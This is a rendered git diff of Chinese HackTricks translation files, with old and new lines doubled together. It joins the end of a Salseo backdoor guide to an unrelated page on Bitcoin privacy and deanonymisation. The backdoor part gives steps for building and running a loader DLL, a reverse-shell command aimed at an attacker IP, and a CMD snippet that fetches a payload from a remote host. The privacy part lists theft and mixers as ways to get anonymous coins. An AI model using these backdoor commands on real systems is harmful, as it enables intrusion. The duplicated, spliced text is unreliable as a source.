![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
在您的项目文件夹中出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat** 在您的项目文件夹中出现文件:**DllExport.bat** 和 **DllExport\_Configure.bat**
### **卸载** DllExport ### **卸载 DllExport**
**卸载**(是的,这很奇怪,但相信我,这是必要的) 点击 **卸载**(是的,这很奇怪,但相信我,这是必要的)
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>) ![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
### **退出 Visual Studio 并执行 DllExport\_configure** ### **退出 Visual Studio 并执行 DllExport\_configure**
只需**退出** Visual Studio 只需 **退出** Visual Studio
然后,转到您的 **SalseoLoader 文件夹** 并**执行 DllExport\_Configure.bat** 然后,转到您的 **SalseoLoader 文件夹** **执行 DllExport\_Configure.bat**
选择 **x64**(如果您要在 x64 系统中使用,那是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间**内)并按 **应用** 选择 **x64**(如果您将在 x64 系统中使用它,这是我的情况),选择 **System.Runtime.InteropServices**(在 **DllExport 的命名空间**)并按 **应用**
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>) ![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
### **再次使用 Visual Studio 打开项目** ### **再次使用 Visual Studio 打开项目**
**\[DllExport]** 不再标记为错误 **\[DllExport]** 不标记为错误
![](<../.gitbook/assets/image (8) (1).png>) ![](<../.gitbook/assets/image (8) (1).png>)
@ -155,21 +135,21 @@ SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
![](<../.gitbook/assets/image (9) (1) (1).png>) ![](<../.gitbook/assets/image (9) (1) (1).png>)
要**构建**解决方案:构建 --> 构建解决方案(在输出控制台中将显示新 DLL 的路径) **构建** 解决方案:构建 --> 构建解决方案(在输出控制台中将显示新 DLL 的路径)
### 测试生成的 Dll ### 测试生成的 Dll
复制并粘贴 Dll 到您想要测试的位置。 将 Dll 复制粘贴到要测试的位置。
执行: 执行:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
如果没有错误出现你可能已经有了一个功能性的DLL 如果没有出现错误那么你可能有一个功能正常的DLL
## 使用DLL获取shell ## 使用DLL获取shell
不要忘记使用一个**HTTP** **服务器**并设置一个**nc** **监听器** 不要忘记使用一个**HTTP服务器**并设置一个**nc监听器**
### Powershell ### Powershell
``` ```
@ -182,7 +162,7 @@ rundll32.exe SalseoLoader.dll,main
``` ```
### CMD ### CMD
CMD, or Command Prompt, 是Windows操作系统中的一个命令行界面。它允许用户通过输入文本命令来执行操作和运行程序。CMD可以用于多种目的包括文件管理、系统维护和网络任务。通过CMD黑客可以执行各种攻击技术例如植入后门、提取敏感信息和执行远程命令。CMD的灵活性和强大功能使其成为黑客工具箱中的重要组件。 ### CMD
``` ```
set pass=password set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt set payload=http://10.2.0.5/evilsalsax64.dll.txt
@ -193,14 +173,14 @@ rundll32.exe SalseoLoader.dll,main
``` ```
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击直到成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式: 其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -1,138 +1,138 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客攻击成为英雄,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
# 基本术语 # 基本术语
* **智能合约**:智能合约只是**存储在区块链上的程序,当预定条件满足时运行**。它们通常用于自动化**执行**一个**协议**,以便所有参与者可以立即确定结果,无需任何中介参与或时间损失。(来自[这里](https://www.ibm.com/topics/smart-contracts) * **智能合约**:智能合约简单地说就是**存储在区块链上的程序**,当满足预定条件时运行。它们通常用于自动化**协议的执行**,以便所有参与者可以立即确定结果,无需任何中介的参与或时间损失。(来源:[这里](https://www.ibm.com/topics/smart-contracts)
* 基本上,智能合约是一段**代码**,当人们访问并接受合约时将被执行。智能合约**运行在区块链上**(因此结果是不可变的)并且可以在接受它们之前被人们阅读 * 基本上,智能合约是一段**代码**,当人们访问并接受合约时将被执行。智能合约**在区块链上运行**(因此结果被存储为不可变),人们可以在接受之前阅读它们
* **dApps****去中心化应用程序**是在**智能合约**之上实现的。它们通常有一个前端,用户可以与应用程序交互,**后端**是公开的(因此可以被审计),并且是作为**智能合约**实现的。有时需要使用数据库,以太坊区块链为每个账户分配了一定的存储空间。 * **dApps****去中心化应用程序**是在**智能合约**之上实现的。它们通常具有用户可以与应用程序交互的前端,**后端**是公开的(因此可以进行审计),并且实现为**智能合约**。有时需要使用数据库,以太坊区块链为每个帐户分配一定的存储空间。
* **代币 & 货币****货币**是充当**数字** **货币**的加密货币,而**代币**是代表某种**价值**的东西,但它不是货币 * **代币和硬币****硬币**是充当**数字货币**的加密货币,而**代币**是代表一些**价值**但不是硬币的东西
* **实用代币**:这些代币允许用户**稍后访问某项服务**(它在特定环境中具有一些价值)。 * **实用代币**:这些代币允许用户**稍后访问某些服务**(在特定环境中具有某些价值)。
* **安全代币**:这些代表了某项资产的**所有权**。 * **安全代币**:这些代表**所有权**或某些资产
* **DeFi****去中心化金融**。 * **DeFi****去中心化金融**。
* **DEX****去中心化交易平台**。 * **DEX:去中心化交易平台**
* **DAOs****去中心化自治组织**。 * **DAOs****去中心化自治组织**。
# 共识机制 # 共识机制
为了被认可,区块链交易必须被**附加**到**区块链**上。验证者(矿工)执行这种附加;在大多数协议中,他们为此**获得奖励**。为了保持区块链的安全,必须有一种机制来**防止恶意用户或团体控制大多数验证**。 要使区块链交易得到承认,必须将其**附加**到**区块链**上。验证者(矿工)执行此附加操作;在大多数协议中,他们**为此获得奖励**。为了保持区块链的安全性,必须有一种机制来**防止恶意用户或组织接管大多数验证**。
工作量证明是另一种常用的共识机制,它使用计算能力的验证来验证交易,要求潜在攻击者获取验证网络大部分计算能力。 工作量证明,另一种常用的共识机制,使用计算能力的验证来验证交易,要求潜在攻击者获取验证网络大部分计算能力。
## 工作量证明 (PoW) ## 工作量证明PoW
这使用**计算能力验证**来验证交易,要求潜在攻击者获取验证网络大部分计算能力。\ 这使用**计算能力验证**来验证交易,要求潜在攻击者获取验证网络大部分计算能力。\
**矿工**将**选择几个交易**,然后开始**计算工作量证明**。**拥有最大计算资源的矿工**更有可能**更早**完成工作量证明并获得所有交易的费用。 **矿工**将**选择多个交易**,然后开始**计算工作量证明**。具有最大计算资源的**矿工**更有可能**更早完成**工作量证明并获得所有交易的费用。
## 权益证明 (PoS) ## 权益证明PoS
PoS通过**要求验证者拥有一定数量的区块链代币**来实现这一点,要求**潜在攻击者获取区块链上大部分代币**以发攻击。\ PoS通过**要求验证者拥有一定数量的区块链代币**来实现这一点,要求**潜在攻击者获取区块链上大部分代币**以发攻击。\
在这种共识中,矿工拥有的代币越多,矿工被要求创建下一个区块的可能性就越大。\ 在这种共识机制中,矿工拥有的代币越多,矿工被要求创建下一个区块的可能性就越大。\
与PoW相比这大大**减少了矿工的能源消耗**。 与PoW相比这大大**减少了矿工消耗的能源**。
# 比特币 # 比特币
## 交易 ## 交易
一个简单的**交易**是从一个地址向另一个地址**转移资金**。\ 简单的**交易**是从一个地址向另一个地址**资金转移**。\
比特币中的一个**地址**是**公钥**的哈希,因此,为了从一个地址进行交易,某人需要知道与该公钥(地址)关联的私钥。\ 在比特币中,一个**地址**是**公钥**的哈希,因此,为了从一个地址进行交易,需要知道与该公钥(地址)关联的私钥。\
然后,当进行**交易**时,它会使用地址的私钥**签名**,以表明交易是**合法的**。 然后,当执行**交易**时,它会使用该地址的私钥进行**签名**,以显示交易的**合法性**。
在比特币中产生数字签名的第一部分可以用以下方式在数学上表示:\ 在比特币中生成数字签名的第一部分可以用以下数学方式表示:\
_**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_) _**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
其中: 其中:
* \_d\_A 是签名**私钥** * \_d\_A是签名**私钥**
* _m_ 是**交易** * _m_是**交易**
* Fhash 是哈希函数 * Fhash是哈希函数
* Fsig 是签名算法 * Fsig是签名算法
* Sig 是结果签名 * Sig是生成的签名
签名函数Fsig生一个包含两个值的签名SigR和S 签名函数Fsig一个包含两个值R和S的签名
* Sig = (R, S) * Sig = (R, S)
一旦计算出R和S它们就被序列化成一个字节流使用一个国际标准编码方案进行编码该方案被称为Distinguished Encoding Rules或DER。为了验证签名是否有效使用了一个签名验证算法。验证数字签名需要以下内容: 一旦计算出R和S它们将被序列化为一个字节流然后使用称为Distinguished Encoding RulesDER的国际标准编码方案进行编码。为了验证签名的有效性将使用签名验证算法。验证数字签名需要以下内容:
* 签名R和S * 签名R和S
* 交易哈希 * 交易哈希
* 对应于用于创建签名的私钥的公钥 * 与用于创建交易签名的私钥对应的公钥
验证签名实际上意味着只有私钥的所有者(生成了公钥)才能在交易上产生签名。如果签名确实有效签名验证算法将返回“TRUE”。 签名验证算法有效地意味着只有私钥的所有者(生成公钥的私钥)才能在交易上生成签名。如果签名确实有效签名验证算法将返回“TRUE”。
### 多重签名交易 ### 多重签名交易
多重签名**地址**是与多个ECDSA私钥关联的地址。最简单的类型是m-of-n地址 - 它与n个私钥相关联,并且从这个地址发送比特币需要至少m个密钥的签名。多重签名**交易**是从多重签名地址发送资金的交易。 多重签名**地址**是与多个ECDSA私钥关联的地址。最简单的类型是m-of-n地址 - 它与n个私钥关联,并且从该地址发送比特币需要至少m个密钥的签名。多重签名**交易**是从多重签名地址发送资金的交易。
### 交易字段 ### 交易字段
每个比特币交易都有几个字段: 每个比特币交易都有几个字段:
* **输入****比特币**从哪个地址**转移**的数量和地址 * **输入****比特币**从哪个地址**转移**
* **输出**每个**转移**给**每个** **输出**的地址和金额 * **输出**转移到**每个**输出的地址和金额
* **费用**:支付给交易**矿工**的**资金**数量 * **费用**:支付给交易矿工的金额
* **Script\_sig**:交易的脚本签名 * **Script_sig**:交易的脚本签名
* **Script\_type**:交易类型 * **Script_type**:交易类型
有**两种主要**的交易类型 有**2种主要类型**的交易
* **P2PKH: "支付到公钥哈希"**:这是如何进行交易的方式。您要求**发送方**提供有效的**签名**(来自私钥)和**公钥**。交易输出脚本将使用签名和公钥,并通过一些加密函数检查**是否与公钥哈希匹配**,如果匹配,则**资金**将是**可支配的**。这种方法以哈希的形式隐藏您的公钥以获得额外的安全性。 * **P2PKH:“支付到公钥哈希”**:这是交易的执行方式。您要求**发送方**提供有效的**签名**(来自私钥)和**公钥**。交易输出脚本将使用签名和公钥,并通过一些加密函数检查**是否与公钥哈希匹配**,如果匹配,则**资金**将是**可支配的**。这种方法通过哈希的形式隐藏了您的公钥,以提供额外的安全性。
* **P2SH: "支付到脚本哈希"**:交易的输出只是**脚本**(这意味着想要这笔钱的人发送一个脚本),如果**使用特定参数执行,将导致布尔值为`true`或`false`**。如果矿工使用提供的参数运行输出脚本并导致`true`**资金将被发送到您想要的输出**。`P2SH`用于**多重签名**钱包,使输出脚本**逻辑在接受交易之前检查多个签名**。`P2SH`也可以用来允许任何人或没有人支配资金。如果P2SH交易的输出脚本只是`1`表示真,那么尝试支配输出而不提供参数将只会导致`1`,使得任何尝试的人都可以支配这笔钱。这也适用于返回`0`的脚本,使得输出无人可以支配 * **P2SH:“支付到脚本哈希”**:交易的输出只是**脚本**(这意味着想要这笔钱的人发送一个脚本),如果**使用特定参数执行**输出脚本将导致`true`或`false`的布尔值。如果矿工使用提供的参数运行输出脚本并结果为`true`,则**资金将发送到您想要的输出**。`P2SH`用于**多重签名**钱包,使输出脚本成为**在接受交易之前检查多个签名的逻辑**。`P2SH`也可用于允许任何人或没有人花费资金。如果P2SH交易的输出脚本只是`1`表示为true则尝试在不提供参数的情况下花费输出将导致`1`,使尝试花费资金的任何人都可以花费。这也适用于返回`0`的脚本,使输出对任何人都不可花费
## 闪电网络 ## 闪电网络
该协议有助于**对一个通道执行多个交易**,并**只** **发送** **最终** **状态**到区块链以保存。\ 该协议有助于**向通道执行多个交易**,并**仅将**最终**状态**发送到区块链以保存。\
这**提高了**比特币区块链的**速度**它只允许每秒7次支付并且它允许创建**更难追踪的交易**,因为通道是通过比特币区块链的节点创建的: 这**提高了**比特币区块链的**速度**每秒仅允许7笔支付并且允许创建**更难追踪的交易**,因为通道是通过比特币区块链的节点创建的:
![](<../../.gitbook/assets/image (611).png>) ![](<../../.gitbook/assets/image (611).png>)
闪电网络的正常使用包括通过提交资金交易到相关的基础区块链第1层来**打开支付通道**,然后进行**任意数量**的闪电网络**交易**,这些交易更新了通道资金的暂定分配**而不将其广播到区块链**,最后通过**广播** **最终版本**的结算交易来分配通道的资金,以关闭支付通道 闪电网络的正常使用包括通过向相关基础区块链第1层承诺资金交易来**打开支付通道**,然后进行**任意数量**的闪电网络**交易**,更新通道资金的暂定分配**而无需将其广播到区块链**,最后通过**广播**解决交易的**最终**版本来关闭支付通道以分配通道资金
请注意,通道的任何一方都可以随时停止并将通道的最终状态发送到区块链。 请注意,通道的任一成员都可以随时停止并将通道的最终状态发送到区块链。
# 比特币隐私攻击 # 比特币隐私攻击
## 共同输入 ## 共同输入
理论上一个交易的输入可以属于不同的用户,但实际上这是不寻常的,因为它需要额外的步骤。因此,通常可以假设**同一交易中的2个输入地址属于同一所有者**。 理论上,一笔交易的输入可以属于不同的用户,但实际上这是不常见的,因为它需要额外的步骤。因此,很多时候可以假设**同一笔交易中的2个输入地址属于同一所有者**。
## UTXO找零地址检测 ## UTXO找零地址检测
**UTXO**表示**未花费的交易输出**UTXOs。在使用前一笔交易的输出作为输入的交易中,**需要花费整个输出**(以避免双重支付攻击)。因此,如果意图是将该输出的**部分资金**发送到一个地址,并**保留** **其他** **部分**,将出现**两个不同的输出****预期的**一个和一个**随机新的找零地址**,剩余的资金将保存在那里。 **UTXO**表示**未花费的交易输出**UTXOs。在使用来自先前交易的输出作为输入的交易中,**整个输出需要被花费**(以避免双重花费攻击)。因此,如果意图是仅**发送**该输出的一部分资金到一个地址并**保留**另一部分资金,将会出现**2个不同的输出**:预期的输出和一个**随机新的找零地址**,剩余的资金将保存在那里。
然后,观察者可以假设**生成的新找零地址属于UTXO的所有者**。 然后,观察者可以假设**生成的新找零地址属于UTXO的所有者**。
## 社交网络和论坛 ## 社交网络和论坛
有些人在互联网上的不同网站上提供了他们的比特币地址信息。**这使得识别地址所有者变得非常容易**。 一些人在互联网上的不同网站上提供有关他们比特币地址的数据。**这使得很容易识别地址的所有者**。
## 交易图 ## 交易图
通过以图形表示交易,**可以以一定的概率知道账户的资金去向**。因此,可以了解与区块链上的**用户有关**的一些信息。 通过以图形方式表示交易,**有可能以一定概率知道账户资金的去向**。因此,可以了解与**区块链中相关的用户**的一些信息。
## **不必要输入启发式** ## **不必要输入启发式**
也称为“最优找零启发式”。考虑这个比特币交易。它有两个输入分别值2 BTC和3 BTC以及两个输出分别值4 BTC和1 BTC 也称为“最佳找零启发式”。考虑这笔比特币交易。它有两个价值分别为2 BTC和3 BTC的输入以及价值为4 BTC和1 BTC的两个输出
``` ```
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
假设其中一个输出是找零,另一个输出是付。有两种解释:付输出要么是4 BTC输出要么是1 BTC输出。但如果1 BTC输出是付款金额那么3 BTC输入就没有必要因为钱包本可以只花费2 BTC输入并因此支付更低的矿工费。这表明真正的付款输出是4 BTC而1 BTC是找零输出。 假设其中一个输出是找零,另一个输出是付。有两种解释:付输出要么是4 BTC输出要么是1 BTC输出。但如果1 BTC输出是支付金额那么3 BTC输入就是不必要的因为钱包本可以只花费2 BTC输入并支付更低的矿工费用。这表明真正的支付输出是4 BTC而1 BTC是找零输出。
这对于有多个输入的交易来说是一个问题。解决这种泄露的一种方法是增加更多输入,直到找零输出高于任何输入,例如: 这对于具有多个输入的交易是一个问题。修复此泄漏的一种方法是添加更多输入,直到找零输出高于任何输入,例如:
``` ```
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 6 btc 3 btc 6 btc
@ -140,143 +140,142 @@ _**Sig**_ = _**Fsig**_(_**Fhash**_(_**m**_),_**dA**_)
``` ```
## 强制地址重用 ## 强制地址重用
**强制地址重用**或**激励地址重用**是指敌手向已在区块链上使用过的地址支付(通常是小额的)比特币。敌手希望用户或他们的钱包软件**将这些支付作为更大交易的输入,通过共同输入所有权启发式方法揭露其他地址**。这些支付可以被理解为一种强迫地址所有者无意中重用地址的方式。 **强制地址重用**或**激励地址重用**是指对已在区块链上使用过的地址支付(通常是小额)比特币的对手。对手希望用户或其钱包软件**将这些支付用作更大交易的输入,从而通过共同输入所有权**启发式揭示其他地址。这些支付可以被理解为一种迫使地址所有者无意中重用地址的方式。
这种攻击有时被错误地称为**尘攻击**。 这种攻击有时被错误地称为**尘攻击**。
钱包正确行为是不花费已经使用过且为地址的硬币。 钱包正确行为是不花费已经落入已使用空地址的硬币。
## 其他区块链分析 ## 其他区块链分析
* **确支付金额**:为了避免带有找零的交易,支付金额需要等于UTXO这是非常意外的。因此**没有找零地址的交易很可能是同一用户的两个地址之间的转账**。 * **切的支付金额**:为了避免带有找零的交易,支付需要等于UTXO这是非常不寻常的。因此**没有找零地址的交易可能是同一用户之间的转账**。
* **整数金额**:在一笔交易中,如果其中一个输出是一个“整数金额”,那么很有可能这是对一个设定了“整数金额”价格的人的**支付**,所以另一部分必须是剩余的 * **整数金额**:在交易中,如果输出之一是“**整数金额**”,那么很可能这是**支付给将该“整数金额”作为价格的人**,因此另一部分必须是剩余部分
* **钱包指纹识别**细心的分析师有时可以推断出某个交易是由哪个软件创建的,因为**不同的钱包软件并不总是以完全相同的方式创建交易**。钱包指纹识别可以用来检测找零输出,因为找零输出是由相同钱包指纹的钱包花费的 * **钱包指纹识别**仔细的分析师有时可以推断出哪个软件创建了某个交易,因为**不同的钱包软件并不总是以完全相同的方式创建交易**。钱包指纹识别可用于检测找零输出,因为找零输出是与相同钱包指纹一起花费的输出
* **金额和时间关联**:如果进行交易的人**泄露**了交易的**时间**和/或**金额**,那么这笔交易就很容易**发现**。 * **金额和时间相关性**:如果执行交易的人**披露**了交易的**时间**和/或**金额**,那么这很容易**发现**。
## 流量分析 ## 流量分析
一些组织**嗅探你的流量**可以看到你在比特币网络中的通信。\ 一些组织**窃听您的流量**可能会看到您在比特币网络中通信。\
如果敌手看到一个交易或区块**从你的节点发出而之前没有进入**,那么它几乎可以肯定**交易是由你发起的或区块是由你挖出的**。由于涉及到互联网连接,敌手将能够**将IP地址与发现的比特币信息联起来**。 如果对手看到一个交易或区块**从您的节点发出而之前没有进入**,那么它几乎可以确定**该交易是由您进行的或该区块是由您挖掘的**。由于涉及互联网连接,对手将能够**将IP地址与发现的比特币信息联起来**。
一个无法嗅探所有互联网流量但在比特币节点上拥有**大量节点**以便**更接近**源头的攻击者可能能够知道正在宣布交易或区块的IP地址。\ 无法窃听所有互联网流量但拥有**大量比特币节点**以便**更接近**源的攻击者可能能够知道宣布交易或区块的IP地址。\
此外,一些钱包会定期重新广播他们未确认的交易,以便它们更有可能在网络中广泛传播并被挖掘。 此外,一些钱包定期重新广播其未确认的交易,以便更有可能通过网络广泛传播并被挖掘。
## 其他攻击以获取地址所有者信息 ## 其他攻击以查找地址所有者信息
更多攻击请阅读 [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy) 有关更多攻击请阅读[https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
# 匿名比特币 # 匿名比特币
## 匿名获取比特币 ## 匿名获取比特币
* **现金交易**:使用现金购买比特币。 * **现金交易**:使用现金购买比特币。
* **现金替代品**:购买礼品卡或类似物品,并在网上兑换比特币。 * **现金替代品**:购买礼品卡或类似物品,并在线交换它们以获取比特币。
* **挖矿**:挖矿是获取比特币最匿名的方式。这适用于独挖矿,因为[挖矿池](https://en.bitcoin.it/wiki/Pooled\_mining)通常知道哈希的IP地址。 * **挖矿**:挖矿是获取比特币最匿名的方式。这适用于独挖矿,因为[挖矿池](https://en.bitcoin.it/wiki/Pooled\_mining)通常知道哈希算力的IP地址。
* **盗窃**:理论上,另一种获取匿名比特币的方式是窃它们。 * **盗窃**:理论上,另一种获取匿名比特币的方式是窃它们。
## 混币 ## 混币服务
用户会**将比特币发送到混币服务**,服务会**扣除一定费用后将不同的比特币发送回用户**。理论上,观察区块链的敌手将**无法链接**进出交易 用户会**将比特币发送到混币服务**,服务会**发送不同的比特币回给用户**,扣除一定费用。理论上,观察区块链的对手将**无法将**进入和离开的交易联系起来
然而,用户需要信任混币服务会还比特币,并且不会保存有关收到和发送资金关系的日志。\ 然而,用户需要信任混币服务会还比特币,并且不会保存有关收到和发送资金之间关系的日志。\
一些其他服务也可以用作混币器,比如比特币赌场,你可以发送比特币并稍后取回。 还可以使用其他服务作为混币服务,例如比特币赌场,您可以在那里发送比特币,稍后取回。
## CoinJoin ## CoinJoin
**CoinJoin**会**将不同用户的多笔交易混合成一笔**,以使观察者更**难以分辨**哪个输入与哪个输出相关。\ **CoinJoin**将**不同用户的多个交易混合成一个**,以使观察者更难找出**哪个输入与哪个输出相关**。\
这提供了新的隐私级别,然而,**一些**交易中的某些输入和输出金额相关或与其他输入和输出的金额差异很大**仍然可以被外部观察者关联**。 这提供了新的隐私级别,但是,**某些** **交易**,其中某些输入和输出金额相关或与其他输入和输出非常不同**仍然可以被外部观察者关联**。
比特币区块链上(可能CoinJoin交易ID的例子有`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`和`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。 比特币区块链上(可能的CoinJoin交易ID示例为`402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`和`85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`。
[**https://coinjoin.io/en**](https://coinjoin.io/en)\ [**https://coinjoin.io/en**](https://coinjoin.io/en)\
**类似于CoinJoin但更好适用于以太坊的是** [**Tornado Cash**](https://tornado.cash) **(资金由矿工提供,所以它只是出现在你的钱包中)。** **类似于CoinJoin但更好对于以太坊,您可以使用** [**Tornado Cash**](https://tornado.cash) **(资金来自矿工,因此它只会出现在您的钱包中)。**
## PayJoin ## PayJoin
前一节讨论的CoinJoin类型可以通过检查具有相同值的多个输出来轻识别。 前一节讨论的CoinJoin类型可以通过检查具有相同值的多个输出来轻识别。
PayJoin也称为支付到端点或P2EP是两方之间的一种特殊CoinJoin其中一方支付另一方。然后交易**没有具有相同值的多个输出的特征**因此不会明显地显示为等额输出CoinJoin。考虑这笔交易: PayJoin也称为支付到终点或P2EP是两方之间的一种特殊类型的CoinJoin其中一方支付另一方。然后交易**没有具有相同值的多个输出**因此不会明显显示为等值输出的CoinJoin。考虑这个交易:
``` ```
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
```markdown 可以解释为一个简单的交易向某个地方支付剩余的零钱暂时忽略哪个输出是支付哪个是找零。另一种解释这笔交易的方式是2 BTC的输入由商家拥有5 BTC由他们的客户拥有这笔交易涉及客户向商家支付1 BTC。没有办法确定这两种解释中哪一种是正确的。结果是一个混币交易打破了常见的输入所有权启发式并提高了隐私性但也是**无法检测和无法区分与任何常规比特币交易**。
它可以被解释为一个简单的交易支付给某个地方剩余的零钱现在忽略哪个输出是支付哪个是零钱的问题。另一种解释这个交易的方式是2 BTC输入是由商家拥有5 BTC是由他们的客户拥有这个交易涉及客户支付1 BTC给商家。没有办法判断这两种解释哪个是正确的。结果是一个coinjoin交易它打破了常见的输入所有权启发式规则并提高了隐私性但也是**无法检测的,与任何常规比特币交易无法区分**。
如果PayJoin交易即使是适度使用,也会使得**常见的输入所有权启发式规则在实践中完全失效**。由于它们无法检测我们甚至不知道它们今天是否正在被使用。由于交易监控公司主要依赖于该启发式规则截至2019年PayJoin的想法引起了极大的兴趣 如果PayJoin交易得到适度使用,那么**常见的输入所有权启发式在实践中将完全失效**。由于它们是无法检测的我们甚至不知道它们是否正在被使用。由于交易监视公司主要依赖于该启发式因此在2019年对PayJoin理念感到非常兴奋
# 比特币隐私良好实践 # 比特币隐私良好实践
## 钱包同步 ## 钱包同步
比特币钱包必须以某种方式获取有关其余额和历史的信息。截至2018年底最实用和最私密的现有解决方案是使用**全节点钱包**(这是最大限度的私密)和**客户端区块过滤**(这是非常好的)。 比特币钱包必须以某种方式获取有关其余额和历史记录的信息。截至2018年末最实用和私密的现有解决方案是使用**完整节点钱包**(最大程度上保护隐私)和**客户端端区块过滤**(非常好)。
* **全节点:** 全节点下载整个区块链,其中包含比特币中曾经发生的每一笔链上[交易](https://en.bitcoin.it/wiki/Transaction)。因此,观察用户互联网连接的对手将无法了解用户感兴趣的是哪些交易或地址。 * **完整节点:** 完整节点下载包含比特币历史上发生的每笔链上[交易](https://en.bitcoin.it/wiki/Transaction)的整个区块链。因此,监视用户的互联网连接的对手将无法了解用户感兴趣的交易或地址。
* **客户端区块过滤:** 客户端区块过滤通过创建包含每个区块中每笔交易的**所有地址**的**过滤器**来工作。过滤器可以测试**元素是否在集合中**;可能出现误报,但不会出现漏报。轻量级钱包将**下载**区块链中每个**区块**的所有过滤器,并检查与其**自己的地址**的匹配情况。包含匹配项的区块将从点对点网络完整下载,这些区块将用于获取钱包的历史和当前余额。 * **客户端区块过滤:** 客户端区块过滤通过创建包含每个区块中每笔交易的所有**地址**的**过滤器**来工作。这些过滤器可以测试一个**元素是否在集合中**;虽然可能存在误报,但不存在误报。轻量级钱包会**下载**区块链中每个**区块**的所有过滤器,并检查其**自己的地址**是否匹配。包含匹配项的区块将从点对点网络中完全下载,并且这些区块将用于获取钱包的历史记录和当前余额。
## Tor ## Tor
比特币网络使用点对点网络这意味着其他节点可以了解您的IP地址。这就是为什么建议**每次与比特币网络交互时都通过Tor连接**。 比特币网络使用点对点网络这意味着其他节点可以了解您的IP地址。因此,建议您**每次与比特币网络交互时都通过Tor连接**。
## 避免地址重用 ## 避免地址重复使
